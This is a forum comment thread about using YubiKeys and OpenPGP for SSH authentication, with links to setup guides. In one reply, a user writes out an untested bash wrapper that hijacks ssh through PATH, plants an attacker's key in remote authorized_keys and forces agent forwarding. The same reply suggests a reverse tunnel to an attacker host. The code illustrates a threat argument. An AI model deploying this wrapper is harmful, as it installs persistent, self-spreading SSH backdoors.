Remix.run Logo
▲ jwr 4 hours ago

A reminder that if you use Yubikeys (you should!), you can use them for authenticating SSH sessions with rsa4096 using the OpenPGP app (see guide here: https://github.com/drduh/YubiKey-Guide).

I've been happily doing so for many years now and intend to continue doing so.

These same keys, incidentally, can also be:

* backed up on paper

* duplicated to multiple YubiKeys if you create them yourself

* be used for encrypting your backups (using gpg)

* and of course, be used for PGP, if you know people who use it (an elegant weapon for a more civilized age)

▲wowczarek 2 hours ago | parent | next [-]

drduh's guide is a great starting point to getting one's workflow right.

Add paperkey[0], pass[1], aerc[2] using passwords stored in pass and integrated GPG signing, and for something more convenient than a paper copy but lasting far longer than USB or SSD, consider a USB "storage" device using ferroelectric RAM [3] for your master key.

[0] https://www.jabberwocky.com/software/paperkey/

[1] https://www.passwordstore.org/

[2] https://man.sr.ht/~rjarry/aerc/integrations/password-manager...

[3] https://machdyne.com/product/blaustahl-storage-device/ - or another one of theirs.

▲dingaling 3 hours ago | parent | prev | next [-]

You can do all that with traditional passphrase-protected keys and no reliance on a closed-source device.

▲jwr 3 hours ago | parent [-]

If you know of another way to do "all that" with a physical device where the private key can't be read and that provides a physical touch requirement feature, I'm all ears.

▲_hyn3 33 minutes ago | parent [-]

The private key can't be read when encrypted, either; that's why the passphrase exists.

The physical touch requirement feature is nice though, but it's not really that useful in the real world.

If your ssh client is compromised (ie export PATH="~/.hacker-controlled:$PATH") then it could just always do -A or -L or -R or -W or anything else.

~/.hacker-controlled/ssh:

   #! /bin/bash
   [ ! -e /tmp/.already-pwned ] && echo "ssh-rsaAAAA123123" | /usr/bin/ssh tee -A .ssh/authorized_keys $@ >/dev/null 2>&1 && touch /tmp/.already-pwned
   /usr/bin/ssh -A $@
The wrapper attack is trivially simple and doesn't even need the tee trick to be useful. just forcing -A or -R 2222:localhost:22 attacker@attackerbox on every connection is enough to get a foothold. The tee variant is useful for self-propagation though.

(I haven't tested this, but it looks like it'd work.) You'd just try to ssh into that box twice, and that's not even a sophisticated attack.

Every time you type `ssh remotehost`, you're merrily signing your own death certificate.

Bottom line: if an attacker has write access to files in your local homedir/PATH/.bashrc/etc, you're done, Yubikey or not.

▲Melatonic 38 minutes ago | parent | prev | next [-]

The key itself can decrypt that (in hardware) right ?

▲juanre 2 hours ago | parent | prev | next [-]

I have been helping friends and family get started with Yubikeys for a few months now, but it's becoming more difficult. The last set I bought (from Canada) will take more than two weeks to deliver.

▲mvip 4 hours ago | parent | prev [-]

That guide is so good!